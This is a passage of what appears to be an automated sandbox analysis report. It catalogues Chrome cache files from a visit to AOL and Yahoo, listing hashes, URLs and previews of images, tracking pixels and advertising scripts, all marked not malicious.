Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 28.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 85 12" style="enable-background:new 0 0 85 12;" xml:space="preserve">.<style type="text/css">...st0{fill-rule:evenodd;clip-rule:evenodd;fill:#A9B1B9;}.</style>.<path class="st0" d="M11.2,3L9.4,2.6L9,0.8L7.3,1.4L6,0L4.8,1.4L3,0.8L2.6,2.6L0.8,3l0.6,1.8L0,6l1.4,1.2L0.8,9l1.8,0.4L3,11.2..l1.8-0.6L6,12l1.2-1.4l1.8,0.6l0.4-1.8L11.3,9l-0.6-1.8L12.1,6l-1.4-1.2L11.2,3L11.2,3z M6,1.8C3.7,1.8,1.8,3.7,1.8,6..s1.9,4.2,4.2,4.2s4.2-1.9,4.2-4.2S8.3,1.8,6,1.8z M3.4,3.4C4.8,2,7.2,2,8.7,3.4c1.5,1.4,1.5,3.8,0,5.2c-1.5,1.4-3.8,1.4-5.3,0..C1.9,7.2,1.9,4.9,3.4,3.4 M38.8,4.1v3.2c0,0.6-0.1,1.1-0.3,1.3c-0.2,0.3-0.5,0.4-0.9,0.4c-0.4,0-0.6-0.1-0.8-0.4..c-0.1-0.2-0.2-0.6-0.2-1.1V4.1H35v3.7c0,0.4,0,0.7,0.1,1c0.1,0.3,0.2,0.6,0.3,0.8c0.2,0.2,0.4,0

Chrome Cache Entry: 605

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 1
Category:	downloaded
Size (bytes):	687
Entropy (8bit):	1.5950132145312128
Encrypted:	false
SSDEEP:	3:nStlFLDa9ukon4nAdfoQppCEUilPTt+xe/skklA6V/tR8n:+/UY4nif/ppi+PROVkklq
MD5:	DFA5F9F22C79001908E780899ABF0A7E
SHA1:	38DC07893A35A26CD4D6C1AFBF8297CE5CB943F5
SHA-256:	0E2DA42F9EAE7DAC23E9E02E94E99CCD0112DE0232407AD43D018834E4FB6018
SHA-512:	0B4D1EE41EF79BCE42D73DF94F7CE536A874E9F485F950FFE4EFDAF5323C1E37057E4B29B741C2CE52296869A8BEFDBDAB5A639FAC6AAC747C180AE16F55FF78
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/0s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/0s/match/image.jpeg*~hmac=62a72942ff00a8177806063587de21b80cc616407cdf3867795918ecef5336ab
Preview:	......JFIF..............Lavc60.3.100...C...................................................................................................................................?...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 606

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (681)
Category:	downloaded
Size (bytes):	880
Entropy (8bit):	5.602150790501502
Encrypted:	false
SSDEEP:	24:2e2C6hHfhiVIliWfwpeikCKzN9tOwnB5GpvcmBf:2e2C6lICigTCcnbB8Bf
MD5:	3EE5638441ED5C7447335ABB51FB99EC
SHA1:	189D801808E01E9936951674B227FC880C30829E
SHA-256:	96E49A0E1115948D49EDE3D9E604058BDC48948AF160F72E9EF890F6A6AB220E
SHA-512:	6791737A8C05D0A33DF580D6B9C219FE9D0327EDC1679AA594FB27E268BBEDBBC3F038D86E2DF0EFBA17F4F1BD274B261A143FB2C47E7E3A20FF130B5E2DB203
Malicious:	false
Reputation:	low
URL:	https://yahoo-bidout-d.openx.net/w/1.0/pd?gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://sync-tm.everesttech.net/upi/pid/ny75r2x0?redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537148856%26val%3D%24%7BTM_USER_ID%7D"><img src="https://pr-bh.ybp.yahoo.com/sync/openx/bb892c0e-3763-ec08-d0f9-b15a85369a1f?gdpr=0"><img src="https://s.amazon-adsystem.com/dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=77983637-bb65-c5bb-2120-253812529cb6"><img src="https://match.adsrvr.org/track/cmf/openx?oxid=2f4e4a4a-a7cf-7e41-e12e-a7af7a615756&gdpr=0"><img src="https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=MDMyMTk5ODAtNmViOC0yMGU1LWY0Y2UtZmQxNmIwODM5OTM2"><img src="https://cm.g.doubleclick.net/pixel?google_nid=openx&google_cm&google_sc">..</body>.</html>.

Chrome Cache Entry: 607

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	7.593532050054763
Encrypted:	false
SSDEEP:	48:Vb9AIk+GvzN2ChEbyn5fRN3rmf2/3k0Ohv:fAvh2ChEG82/3k0OR
MD5:	EFA8F8DF0727CB953F944988016A29CF
SHA1:	216B65C278606C9010BE7C7E43E6F18C198564B5
SHA-256:	5FEB16AE57769FBB5617D76C92922CC92FE34A5312CE4C134B47B43B20BAED9C
SHA-512:	5F315C4602263749FF1BF8AE2E4BAAF3B94D9D47AE24EAE8D7F001D550C47185AD001A8FA2321BC8E3E2A5406EE151003117CF63387515E530B4330F656E9B00
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL............................................................................................................................................................0........K..G..)....,(!...E@4=.......0.....wo[...^XHu.!.....4P....../..'...b....n..,.......r.LRg`N..%~v`\|t_...~t...$!.62)MH;.}f..w.Z[...rkW."6&............../..,..OJ<..I..o. -".v`...&..QL>....LG:..l....`_.>H......+...~g..u!...yc......rk...b\K.....y1-%B>2.9E....'9.$7.TW...].......GO.\|g..HC7..'4....)C...........6C.w ....}..RL>.........<8...xp[slX.....FNibP..\VF..g...DM..........~leR.xU@7..3..M....& ..8...-=.a`....+{.#...'.....X...2A...ogT.__yq\J.....xc..o..........db...ni..)%..jf..........<...MtRNS......Y&...-.;.L...7.mD...U}....'a.b..ie...G..1R?...{\w......^..I.............IDATH.c`.z@......C.%0...I...9.....ca$.C.en..~P...AP.+......0-....../..../...y......e...gOO.

Chrome Cache Entry: 608

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65318), with no line terminators
Category:	downloaded
Size (bytes):	126213
Entropy (8bit):	5.535604020209105
Encrypted:	false
SSDEEP:	1536:KyQWTb4iPqIG4rAR+9RPrTtWGWJwckMHWC7Sxw:cWTtfPz2CESxw
MD5:	FA20A86A0BA75C164A8282ADD3D6BD49
SHA1:	4F0D6AD4200A577D4477B1615581D9E56CE3D1EC
SHA-256:	963B4DF9021ABEDC8B87D7D3AD21C33FDC3405B7907DAC506EA59B742C9D1BD7
SHA-512:	DE67A05B39BBB27422E836B64B39FE5DFCD886C4B4A7B98425C210C7AFA1E183301171EBB6BC1E1C08C3F85EC8375DDB83DE47A87E83BAB72E43B49E71F2C0CB
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/rx/ev/builds/1.6.29/pframe.js
Preview:	(()=>{var t={1556:function(t,i){"use strict";var e=this&&this.__spreadArrays\|\|function(){for(var t=0,i=0,e=arguments.length;i<e;i++)t+=arguments[i].length;var s=Array(t),n=0;for(i=0;i<e;i++)for(var o=arguments[i],r=0,a=o.length;r<a;r++,n++)s[n]=o[r];return s};Object.defineProperty(i,"__esModule",{value:!0});var s=function(){function t(t){void 0===t&&(t="anonymous"),this.name=t,this.l={},this.u=0}return t.prototype.destroy=function(){this.l={}},t.prototype.addEventListener=function(t,i,e){return this.l?this.p(t,i,e):""},t.prototype.addEventListeners=function(t,i,e){var s=this,n={};return this.l&&t.length?(t.forEach((function(t){var o=i.bind(e,t);n[t]=s.p(t,o,e)})),n):n},t.prototype.on=function(t,i,e){return Array.isArray(t)?this.addEventListeners(t,i,e):this.addEventListener(t,i,e)},t.prototype.removeEventListener=function(t,i){this.l&&t in this.l&&Object.prototype.hasOwnProperty.call(this.l[t],i)&&delete this.l[t][i]},t.prototype.removeEventListeners=function(t){if(this.l&&t)for(var i=

Chrome Cache Entry: 609

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	low
Preview:	[]

Chrome Cache Entry: 610

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	32281
Entropy (8bit):	4.5377915994954545
Encrypted:	false
SSDEEP:	768:qt68uqUhC3c7cJTiMmypcocQcBc5cHcZcBcfcick4cr5cQcAcIcRcwc8cfNcjcIW:g6cUhCL3R6zE
MD5:	2BCD33ABCF1D9B53E39084BEF961E404
SHA1:	D03ED6E7B587A9FFEC31D7CE468FEFCC763BC3AC
SHA-256:	1ADDFAE65F5AE5F79529B5D18E1A3AD6BFA2D6C11107725EF2377B4C040119BC
SHA-512:	D32EDA524708E5367B560C48C534847F36C94D2C1E23CD7CC6F74B1F92AE6272785708A275F8A67CB3C381F19564D7406B806F7C32317F9988BC84B3836F2351
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/kj/js/dispatcherWidget.js?_=1716503707359
Preview:	(function () {. var __extends = (this && this.__extends) \|\| (function () {. var extendStatics = function (d, b) {. extendStatics = Object.setPrototypeOf \|\|. ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) \|\|. function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };. return extendStatics(d, b);. };. return function (d, b) {. if (typeof b !== "function" && b !== null). throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");. extendStatics(d, b);. function __() { this.constructor = d; }. d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());. };. })();. var WidgetMode;. (function (WidgetMode) {. WidgetMode["AutoHide"] = "autoHide";. WidgetMode["Overlay"] = "overlay";. WidgetMode["Stick

Chrome Cache Entry: 611

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsuyk4X4hENrOdOCQzo4fEpZ72LYxh6YEUyzSsPw8-wzyrkAenAzCKl4HqhpfQ-DaLyUuKX6A2TIB_GGuToKa9ibt8YOVnOv2GivckYlu9OStiaePAwr9YZhuQynNeS4hJJCf_CvIPNnVGBgYuO0xAQdO8dnVcnQE6BGiTq4fw&sig=Cg0ArKJSzIiIl7EYfm4sEAE&id=lidartos&mcvt=2063&p=382,855,636,1155&mtos=0,2063,2063,2063,2063&tos=0,4727,0,0,0&v=20240522&bin=7&avms=nio&bs=0,0&mc=0.98&if=1&vu=1&app=0&itpl=19&adk=2369062128&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0%3D&vs=4&r=b&co=1243651401&rst=1716503711472&rpt=4555&isd=0&lsd=0&ec=1&met=mue&wmsd=0&pbe=0&fle=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=14"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 612

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	32281
Entropy (8bit):	4.5377915994954545
Encrypted:	false
SSDEEP:	768:qt68uqUhC3c7cJTiMmypcocQcBc5cHcZcBcfcick4cr5cQcAcIcRcwc8cfNcjcIW:g6cUhCL3R6zE
MD5:	2BCD33ABCF1D9B53E39084BEF961E404
SHA1:	D03ED6E7B587A9FFEC31D7CE468FEFCC763BC3AC
SHA-256:	1ADDFAE65F5AE5F79529B5D18E1A3AD6BFA2D6C11107725EF2377B4C040119BC
SHA-512:	D32EDA524708E5367B560C48C534847F36C94D2C1E23CD7CC6F74B1F92AE6272785708A275F8A67CB3C381F19564D7406B806F7C32317F9988BC84B3836F2351
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/kj/js/dispatcherWidget.js
Preview:	(function () {. var __extends = (this && this.__extends) \|\| (function () {. var extendStatics = function (d, b) {. extendStatics = Object.setPrototypeOf \|\|. ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) \|\|. function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };. return extendStatics(d, b);. };. return function (d, b) {. if (typeof b !== "function" && b !== null). throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");. extendStatics(d, b);. function __() { this.constructor = d; }. d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());. };. })();. var WidgetMode;. (function (WidgetMode) {. WidgetMode["AutoHide"] = "autoHide";. WidgetMode["Overlay"] = "overlay";. WidgetMode["Stick

Chrome Cache Entry: 613

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1884
Entropy (8bit):	7.2975539345474605
Encrypted:	false
SSDEEP:	48:lgE1NOHfSu7AVP5ELzs9xNWly+6hnCi+A4/RCF:GEnuSu7AVeXs9+ahCi+95CF
MD5:	CAD98AC32EE9D716FD419CA010DB952E
SHA1:	064EC6CC4790F14368C7E9F9FD516285A3413F8F
SHA-256:	0EDC49D8BFD96B0A4C60A86DED645D25736CA88E386D0F8CC36BB87925826B9E
SHA-512:	7820D074EFCE1C8D262D3442480AD98A231BD2C029387B8EBD9DE51ECEA2270812FCF74349CE71513B707A3015FE793D8D51F1F8C4D5046147EF88F934E5B350
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLxlO0KLuFo3kg6l2bdZZRg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190308%2F500x500%2Froyals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d9246a23914252ddf4d21b2b0e20b22948ac78f2
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...........................................................................................................................................................................................................................................................................................................................................................................................n..............................u..u................................r.......................m.................}........................tI..~.sG.tH..c....f.xN..].{R.vK.....d.\|S....\|T..l....wM.uJ..b..X..........vK....z..g......e.~V.....s..o..r.....u.....Z...............sH.._.xO..........Y..~.......tJ.....[....{.......n..............\|...rE.....w.............k.zQz*......tRNS...U...rE..K.w\j..,.M......e........!3.Q.R.4p.....NB.OA5.c.....L.7..[.\|.+?_.....'...y....a.b.^........Y.~.......".....8>...%.........x..&.W....YM,...l.xi.<.....t...W...

Chrome Cache Entry: 614

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	217
Entropy (8bit):	5.940360081058108
Encrypted:	false
SSDEEP:	6:6v/lhPIFufnDLpL6/slOy2tmizicF48R32NBlTp:6v/7ZLBOdtlzRb32Nb9
MD5:	9A6EA13ACFA70B31D98E1495478BA842
SHA1:	17A4F9FAD348AC4AD12386DD82660DF11477D9ED
SHA-256:	3D4FBF40FBDB2350D65E535F49561E4C6A897F2FA007B50B2D96DF2560C75F9A
SHA-512:	EDA0603D62EA40E09AB444104B0DDC19B31C47FF3795E5C1C637B0214F5234B0259B30728C7E6E90F37A9F626A8C9F05F6E6BF17A09DD7090FC8FA33FF4646BB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................R...-PLTEGpL.........................................K.......tRNS.....1.R......SIDAT..c``Hu6.c.... Pd``..1....:.@.!..hc..0Z.< ......V.u...b....lFH......[......176${.......IEND.B`.

Chrome Cache Entry: 615

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1875
Entropy (8bit):	7.637559135927198
Encrypted:	false
SSDEEP:	48:wcnqcuCW3UhIRHSFdphg4VP3C7tPLJCqL:w1QVhaaJg4l3CPL
MD5:	9990CBE3D42806CAA253E5900EACA1E3
SHA1:	FF5F49D289B8FDFF74C76EA610A08A94EBAEBC52
SHA-256:	43FFDF526FA722A25074040EEC913637B47B849CEB4BB1C141AAEC76A966432E
SHA-512:	77403A8039159E7AD2F8671B29EFC533C57CB3414134F6CE2498ABA6563F5C7529535A8126B7A36F49C589CE29F6E45C871A6B3CD584FB6670F0B6C75808F0A5
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2s1JVbQT4jK7vnmSdH51yw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190307%2F500x500%2Frays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=878df353f7cafc11bf0dc707a2dea4918f56cd38
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL......................./Lu...\|.................................*Is...........................f\|......................................................................,\......................................................................................f..0....0.........................................,\........-S..,\...x.................................................................-].............................................................^..1.....0..0..V..e..x.....,\4Qye{......../^:V}_v.@\..6d.-].4b.=i!@l...E_....m..%Do.1`"Bm.:g...u..Mf.i~.2OwIc.......Pi.Sl.Wo.....7e...7T{...<X~/Mu........!=W8T{.....R.C.................cy.\|\|HFWQ..B...kpJ..X...IYP..P....9Y...dlKbjK...O.h..3...8Y...X..j....tRNS..2@,..`.........$..,. .........w.9.......F....R......:..........D.m.nbO......(...4...Z\.xy...!a.3C..i......tc..ki...4...4...........M..X..[S1...Kj@..............h..un....8

Chrome Cache Entry: 616

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4493), with no line terminators
Category:	downloaded
Size (bytes):	4493
Entropy (8bit):	5.2466171019971055
Encrypted:	false
SSDEEP:	96:Zgq/BPIJ10DwLg+e5pCV83N3OIV1JbMMe9Pw/M2zziE99rmO:Kq5PugXbCVuN+kI+9rmO
MD5:	EA2D60094AF73E790A5B57A0C4E3FF76
SHA1:	FA686FB783431EF8212E040981105928C2ECFD85
SHA-256:	47DE4A38C5B50CCD8C31612E2C94E7B775A01922BB99B6CDEEF133B29690610F
SHA-512:	A18A3BB18293EFA378B04A45BE066EE1E2D3548EDB0A00382428813294E9460F921F367F65AE379CCFED41B86C176A939F6CC90BD96252E463D88AF130E06855
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/js/vendor/swipe-2.0.min.js
Preview:	function Swipe(t,n){"use strict";function e(){h=E.children,w=Array(h.length),m=t.getBoundingClientRect().width\|\|t.offsetWidth,E.style.width=h.lengthm+"px";for(var n=h.length;n--;){var e=h[n];e.style.width=m+"px",e.setAttribute("data-index",n),f.transitions&&(e.style.left=n-m+"px",a(n,b>n?-m:n>b?m:0,0))}f.transitions\|\|(E.style.left=b-m+"px"),t.style.visibility="visible"}function i(){b?r(b-1):n.continuous&&r(h.length-1)}function o(){h.length-1>b?r(b+1):n.continuous&&r(0)}function r(t,e){if(b!=t){if(f.transitions){for(var i=Math.abs(b-t)-1,o=Math.abs(b-t)/(b-t);i--;)a((t>b?t:b)-i-1,mo,0);a(b,mo,e\|\|T),a(t,0,e\|\|T)}else d(b-m,t*-m,e\|\|T);b=t,v(n.callback&&n.callback(b,h[b]))}}function a(t,n,e){s(t,n,e),w[t]=n}function s(t,n,e){var i=h[t],o=i&&i.style;o&&(o.webkitTransitionDuration=o.MozTransitionDuration=o.msTransitionDuration=o.OTransitionDuration=o.transitionDuration=e+"ms",o.webkitTransform="translate("+n+"px,0)"+"translateZ(0)",o.msTransform=o.MozTransform=o.OTransform="translateX("

Chrome Cache Entry: 617

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	69
Entropy (8bit):	4.08823329132516
Encrypted:	false
SSDEEP:	3:YBE5IARvuB3A5LWApzRSsW6JNuJ/Y:Yg9RvuRmSsWz/Y
MD5:	E05A5246E399F1BE5BAA8309150041D5
SHA1:	413B435FFF2BBD183A827EC8D00F643B0B603C88
SHA-256:	BEA9C036CD82AE6476D536B8EF33FF05B1424DF92895E2A8CDE46777CF6C574B
SHA-512:	23C9FD78491C4D95436194D083F23C36EE9B3E5C9BCAD5B6B89AB579878BC215D0DB6FE82D840756838B21230DCA1C137F58BF7C20B296F1012DB2DECC3915CF
Malicious:	false
Reputation:	low
Preview:	{"data":{"metadata":{},"response":{"isAccuWeather":false}},"html":""}

Chrome Cache Entry: 618

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 619

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=22&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503727686&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=20&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=10&ns_st_asq=10&ns_st_sq=10&ns_st_po=3239&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3239&ns_st_ipt=5&ns_st_iap=5&ns_st_iet=5&ns_st_iupc=5&ns_st_iupa=5&ns_st_ilpc=5&ns_st_ilpa=5&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=5&ns_st_ap=3239&ns_st_dap=5&ns_st_et=10552&ns_st_det=5&ns_st_upc=3239&ns_st_dupc=5&ns_st_upa=3239&ns_st_dupa=5&ns_st_lpc=3239&ns_st_dlpc=5&ns_st_lpa=3239&ns_st_dlpa=5&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=10&ns_st_pp=10&ns_st_pa=3239&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 620

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 621

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	6.427329306176198
Encrypted:	false
SSDEEP:	24:ppBp21wcxCHiu5Y2sn3NWUG9chF/T547ldkcO8TuP9:ppBIvCHk2s3IUG9cb/T5IacOEu
MD5:	0456BBA74094B70993B79C05054F0E8E
SHA1:	9C5D715AFA8BC68A65B7B745A581DA49FCF2B866
SHA-256:	3342D4C505BF65528025D5B895B3AF8FE5A005D92094F5EAA40D8290B7F8777F
SHA-512:	DBC0265F0916ABB451B1496366FBD8E0BC7BBCE0D2E6FF0399F39904BE14AF6577E77517D8E6B30BFD1FFB8633A8847EAFEA4F00606198A8DC7A4EEF148E4F1B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Di.Ei.Ei.Ei.Ei.......Ei.Ei.Ei..........................................1.......tRNS...qb71..............K....y..,k...u....D....;.+....\|..)..p..[`.....Pd..{...2<..I...^9]..F.M.8..-l....C.g......r...6..@.&J..T5.Y? 